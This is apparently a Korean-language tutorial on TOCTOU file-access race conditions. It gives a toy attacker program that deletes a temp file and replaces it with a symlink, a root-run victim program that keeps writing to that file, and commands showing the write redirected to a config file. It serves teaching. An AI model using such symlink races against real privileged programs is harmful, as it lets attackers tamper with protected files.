TOCTOU(Time-of-check Time-of-use) Race Condition

간만에 내용 정리할겸 Race Condition Attack에 대해 작성해볼까 합니다. 일단 Race Condition 기법은 이름 그대로 “경쟁조건” 을 의미하는 공격이고 취약한 프로그램이 사용하는 부분을 동일하게 점유하여 경쟁하고 반복적인 요청 중 공격프로그램이 이길 시 공격자가 원하는 흐름으로 프로그램의 로직을 바꿀수가 있습니다.

물론 전통적인 system hacking 기법 중 하나이고, 웹이나 앱 어디에서도 유사한 형태로 쓰일 수 있습니다.

이 중 TOCTOU(Time-of-check Time-of-use)를 활용한 Race condition 공격에 대한 이야기를 할까 합니다. TOCTOU는 아주 오래된 기법입니다. 어디서 주워듣기론 1980년대 이 이름을 붙이 공격이 탄생하였고, 많이 나타나진 않지만 전통적인 공격 기법입니다.

ToCToU Attack

Race Condition을 활용한 공격 중 TOCTOU 공격이 있습니다. File Access Race Condition으로도 불리며 Race Condition 예제 중 많이 보이는 내용이기도 합니다. 공격에 대한 기본 원리는 아래와 같습니다.

Program이 데이터를 확인하고, 사용하는 그 시간에 공격자의 코드가 개입하여 흐름을 바꾼다.

대체로 Race Condition과 함께 Symbolic Link를 거는 형태의 자료들이 많이 있습니다. 권한이 있는 프로그램이 사용중이 파일이나 메모리에 다른 프로그램(공격자)가 간섭해서 데이터를 오염시키거나, 변조할 수 있습니다.

Race Condition

Race Condition을 통해 TOCTOU를 알아봅시다.

Attacker

  • attack.c -> ./attack
  • perm: user

Attack.c

#include <stdio.h>

void main() {
  system("rm ./tmp");
  symlink("./target/config","tmp");
}

공격자는 tmp 파일을 지우고, 공격자가 만든 파일과 tmp를 심볼릭 링크겁니다.

Victim

  • vuln.c -> ./vuln
  • perm: root
#include <stdio.h>
#include <stdlib.h>

FILE *fp;
char str[]="life log.[system]";
int i=1;

void main() {
  while(i) {
    fp = fopen("tmp","wb++");
    fwrite(str,1,sizeof(str),fp);
    printf("Write Tmp File :: %d\n",i);
    fclose(fp);
    sleep(1);
    i+=1;
  }
}

피해자는 tmp 파일에 []str 내 값을 write 합니다.

Attack

  • vuln 프로그램을 실행하면 tmp 파일에는 계속 str[] 의 데이터를 쓰고 있는 상태가 됩니다.
  • 이후 attack 프로그램이 실행되면 tmp 파일은 공격자가 의도한 파일로 바뀌게 됩니다.
  • vulm 프로그램은 공격자가 의도한 파일에 값을 쓰게됩니다.
./vuln&
./attack
cat target/config
life log.[system]

Reference